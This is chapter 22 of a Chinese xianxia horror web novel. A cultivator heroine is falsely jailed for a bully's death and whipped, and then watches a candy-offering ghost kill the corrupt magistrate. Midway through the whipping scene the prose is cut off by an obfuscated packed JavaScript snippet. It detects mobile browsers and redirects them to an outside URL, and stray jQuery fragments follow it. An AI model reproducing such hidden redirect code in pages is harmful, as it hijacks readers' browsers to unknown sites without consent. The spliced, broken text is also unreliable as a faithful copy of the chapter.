默认冷灰
24号文字
方正启体

22. 吃糖吗

作者:隙光本书字数:K更新时间:
    眼见那双黑的油腻的手就要伸来,巫岫忽生出一股勇气,非台在手中转了一圈随后扎在了桌上,要不是那汉子眼疾手快缩了一下,那他手指可能就要断掉一截,对此巫岫也是心中后怕,要是真打起来她还真不是这三人的对手。


    那汉子眼眯了一瞬,眼中闪过一丝狠厉,随后又坏笑起来,眼不见丝毫惧怕,搓着手道:“小娘子,倒是有点性子,爷更喜欢了。”说罢大笑起来向四周递着调戏的目光。


    空气瞬间静了下,只有那汉子的笑声回荡,巫岫向四周看了看,那店家埋着头手中的笔颤个不停,小二也是蜷在角落里用托盘遮着自己的头,客人们头一个比一个低,恨不得将脸埋在碗中。


    虽不指望有人能挺身而出,倒也不至于都如此胆怯,巫岫佯装淡定看着那汉子,心中盘算着该如何逃脱,看众人的反应和这三人嚣张的态度,估计不是花架子,应该有些功夫在身上,她暗中摸出一飞行符,眼下只有逃了。


    巫岫微微垂首,露了几分胆怯,声音微弱道:“你……们想干什么?”


    那汉子听不清巫岫说的什么,只觉对面小娘子软言细语,像根毛羽直挠的心头痒痒,直把头望前伸了伸,侧着耳朵,咧着嘴笑道:“小娘子说的什么,大点声。”


    身后那獐头蠢笨二人也是乐嘻嘻的瞧着他们老大,忽然一把白粉扑面而来,二人一怔便听到他老大骂了起来要抓住巫岫,巫岫闪身跑出了客栈,边跑边用灵石催动着飞行符,硬是擦着人群墙壁树木飞行了二里地才落下来。


    她瘫坐在地上,心中咚咚的直跳,到现在腿还是软着,足缓了两分钟她才检查起身子来,所幸她今天外穿了件雪青烟罗纱的法衣,身上倒没有伤,只是两只手适才被树枝刮破了皮,几道血口正渗着血,脸上有一处也在发疼,似乎脸也给伤到了。


    她有点想回山门了,在山上躺着逍遥自在不好吗?


    可最终巫岫还是起了身,慢慢向城中走去,另寻了一家高档客栈住下,一般有钱的地方也有权势,那种地痞恶霸应该不会来此种地方闹事,巫岫想着要了间客房住下。


    因跑了这些路,又经历了那种事,巫岫只觉疲惫困顿,沾了床便沉沉睡去,


    直到半夜她才悠悠转醒,口渴的异常,她刚坐起身,忽听的外头响起一阵阵幽怨空灵之声,声音似是远处的街道上有人在说话般,她屏息听去,好半晌才依稀辨别出说的什么——“吃糖吗?”


    那声音一直在重复着这三字,诡异恐怖,她心又跳的快起来,再细听去,那声音越来越清晰,到最后不用费劲都能听清楚那三个字,有什么东西过来了,巫岫的手紧紧抓着衾被,眼睛也不敢睁,生怕有什么东西突然出现在自己面前。


    “吃糖吗?”


    那声音更近了仿佛就在自己的窗下,细细听去,那问句后还有一阵阵阴森地嬉笑,咯咯咯咯般地笑声忽远忽近,巫岫心中直念叨着菩萨保佑。


    好在那声音渐渐远去了,巫岫水也不敢喝了,缓缓躺了下去,睁着眼瞧着屋顶,直到天边翻起鱼白,困意浓烈,她才堪堪睡了下去。


    可她并未睡多久,一阵敲门声又将她吵醒,她实在困倦得很,本不想理那敲门声,可那声音敲个不停,还传来几声严厉粗声,像是命令般不停喊着“开门。”


    这高级客栈的钱白花了,巫岫想着起了身开门,一开门,门前站着一高一矮两位衙役,后面站着昨日那两个獐头蠢笨,巫岫瞬间精神起来,这疏月城的治安这般好吗,昨日被调戏未报官官差自己就抓了人来道歉?


    那高个子官差看见巫岫,撇了下身子,对着身后的人道:“是她吗?”


    獐头蠢笨二人忙不迭地点头,“大人就是她,这般美人全城找不出第二个。”


    “闭嘴。”那官差呵斥了一声,转头对巫岫道:“这位姑娘跟我们去衙门一趟吧。”


    巫岫没想到解决一个调戏案竟有这么大阵仗,她又不是下山闲逛的,她要找墨寒川,没工夫在这儿耽误,因此道:“昨日他们和他老大调戏我,这件事我不计较,你们抓他们就行了,为何我还要去衙门?”


    高个子官差冷笑一声,“调戏?陈天霸死了,你惹的是命案!”说完使个眼神个旁边的官差,矮个子官差一锁链便绑了巫岫的手。


    活了两世的巫岫没想到有一天她竟会被关进牢房,暗无天日。上一世刚死的时候说什么来着?说再也不下山,苟在山门来着,所以她为什么要下山?下了山就没好事,先是被调戏,又是被鬼声吓得一晚未睡,最后还被关进小黑屋!


    就这样在懵逼感叹中巫岫被关进了审讯室,漆黑腥臭的屋子中,巫岫只觉身上有万千虫子在爬,前世她在宫中受过饿受过寒但她依旧能每天干干净净的,这般肮脏粘腻的环境她一刻也待不下去,她刚坐下凳子便觉裙子上沾染了什么东西,一下子弹跳起来,却是被一双手又生生按下。


    “师尊,我今日不会命陨在此了吧,我刚重生了几年而已”,巫岫心中念叨着即害怕又难过还有三分怒气,泪水又混着牢房的臭味空气黏着在脸上


    这时从另一头走来一中年男人,微弱的光下巫岫只堪堪瞧见一大腹便便轮廓,面貌却是看不清楚,那人在巫岫对面坐下,声音更加狠厉道:“陈天霸可是你杀的?”


    “陈天霸是谁,我都不认识他。”巫岫声中染着怒气,只觉这官差昏庸,都不问清楚随便便将人带到这种地方,手下也不知有多少冤假错案。


    “还不承认!昨天同福茶楼里可有一男子调戏你?”


    “是,那人就叫陈天霸啊?怎么他调戏我然后死了便与我这个受害者有关了?什么狗屁逻辑理论。”巫岫刚说完,一巴掌打在她脸上,她直吐出一口血来,旁边那衙差怒道:“大胆,嘴巴放干净点!”


    “陈天霸的同伙说,他们昨日被你洒了白粉,你便跑了,追你出去之后,仅一瞬间你便消失了,之后那白粉粘在身上奇痒无比,三人泡在水池两个时辰才好,之后陈天霸回到家中,期间除了家人未接触其他人,半夜暴毙在家中。”


    见巫岫不说话,那男人便加大声音道:“说吧,你那白粉是什么?又是使了什么妖术杀的陈天霸。”


    “我没有杀陈天霸,我昨天见过他之后便一直在客栈再未出去,店家可以作证。”巫岫眯着眼睛看着对面的人。


    那人站起身来,弯着腰凑近巫岫,巫岫这才看清那人面庞,圆脸横肉,怒目厚唇,留着两撇八字胡,除却胡子和三分圆滑之气,剩七分竟与陈天霸完全相像。原是一对兄弟,有一个当官的兄弟撑腰,怪不得那陈天霸人人都怕。


    那人狠狠道:“你要是会使妖术那便另说了。”


    巫岫嗤笑:“我要是会使妖术还能被你们抓住?”


    “看来你是不肯招了。”那人忽地站起身来,向旁边立着的衙差使了个眼色,便转身而去。


    衙差随即架着她给她绑在架子上,二话不说抽起鞭子便向她身上使去,巫岫喉间迸出半声呜咽,指甲深深掐进掌心,一道血迹渗出,痛得她脑子一片空白,汗水密密地在额头渗出,她死死咬着嘴唇缓了好久。当初她跳崖时便似乎都未有这般痛,等喘了口气后,她脑子里却是后悔,后悔早上竟没来的及穿上那法衣。


    那衙役看她白皙的脸瞬间涨得通红,精致的脸因疼痛扭曲,心中生出几分恻隐之心,挥鞭的速度慢了几分也轻了几分,直至


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15875868|176318||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    身后传来狱门关闭的声音,他才停了鞭子,此时巫岫已挨了三鞭子,剧痛如万蚁钻心,额间冷汗滑进眼角,蛰得视线一片模糊,整个人几乎要昏厥过去。


    衙役叹了口气,拿出一张纸到她跟前:“你要是画押,便不用受这般苦楚。”


    巫岫此时已痛得说不出话来。


    见巫岫垂着头,呼吸都费劲,那衙役也知这小姑娘承受不住这刑法,便有意让她缓一下,放了鞭子将其中的缘由和她说来:“这么和你说吧,算上陈天霸我们这已经死了四个人了,死法都一样,大家都认为这是妖邪作祟,上面压力又大,急着破案,偏生此时有人看见你使了妖术,而且偏偏是欺侮你的陈天霸死了,你说我们县令大人能不怀疑你?而且那是他弟弟,大人为了结案已经愁的几天都睡不着觉了。”


    原是拿她做替罪羊,巫岫心中冷笑,这恶官纵容自己弟弟欺侮百姓不说,还随便捉拿无辜的人,一点正式流程不走,动用私刑逼迫她认罪,她缓缓看向四周,各式刑法器具,也不知这屋子有多少冤死之人,她想骂一声,却是气急攻心直直晕了过去。


    ……


    “吃糖吗……吃糖吗……咯咯咯咯咯……吃糖吗……咯咯咯咯咯……”


    昨晚那声音又响了起来,隐隐约约,然后越来越清晰,巫岫猛地睁眼,一张脸上密布着蜈蚣疤痕渗着道道血迹的鬼脸赫然出现在眼前,见巫岫瞪大了眼,那鬼脸咯咯咯一笑将脸转向一旁。


    巫岫缓缓将视线转过去,竟发现旁边瘫坐着一男人,肥胖的肚子正随着他大喘气一起一伏,那男人正是今天牢狱里见到的县令,而且现在他们所处的环境好似也不在牢狱之中,只是在一间普通的屋子中,有八仙椅,方正桌,旁边一个小推车,车上摆放着各式各样的糖人,在巫岫的正前方是插着栓的屋门,有光从缝隙中透出来。


    手上的铁链也没了,除了全身疼痛,勉强还可以起身,那缝隙中的光闪着,或许可以逃……巫岫想着,忽见那张鬼脸忽地凑近那县令,紧紧盯着他的双眼,又是咯咯咯一笑。


    “吃糖吗?”


    那县令抖个不停,脸上的肥肉一颤一颤,他微微瞥眼看向巫岫,眼中全是恐惧和求救。


    “吃糖吗?”


    一双干瘪枯手赫然抓住县令的下巴逼迫着他与自己对视,“咯咯咯咯咯,吃糖吗?”


    空气中弥漫着一股骚气,鬼脸的身体颇为嫌弃地向后退了一步,手却移到了县令的脖子除一点一点收紧:“吃糖吗?”


    “吃,吃糖……”那县令结结巴巴。


    又是“咯咯咯”一声笑,那枯手松了开来,转身想小推车走去,那县令慌忙看向巫岫,满脸哭丧,嘴型比划着“救我”二字。


    巫岫从袖口摸出两张爆破符攒在手中,她看了眼屋门的地方,似乎又风吹进来。


    此时那鬼拿了一个糖人转身过来,看了一眼巫岫,咯咯一笑,巫岫心中一紧,那鬼脸却又转了视线,将糖人递给县令,那县令咽了下口水,颤颤巍巍伸手去接,手刚拿到那糖棒,一只鬼手便穿过他的胸口,活活将心掏了出来。


    咯咯咯咯咯


    县令睁着大眼歪着头倒了下去。


    巫岫吓得往后缩了缩,咬紧嘴唇逼迫着自己不发出声音,只见那鬼手将心塞到县令嘴中,塞不进去左右来回硬往里塞着,边塞边说着:“吃糖,吃糖……”


    待那颗心完全塞进县令嘴中,鬼脸便咯咯咯一笑,缓缓将脸转向巫岫。


    “吃糖吗?”


    那脸忽地逼近巫岫。


    巫岫强迫自己镇定下来,可是身体依旧止不住地颤抖,她缓缓点头道:“吃。”


    咯咯咯咯咯……
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)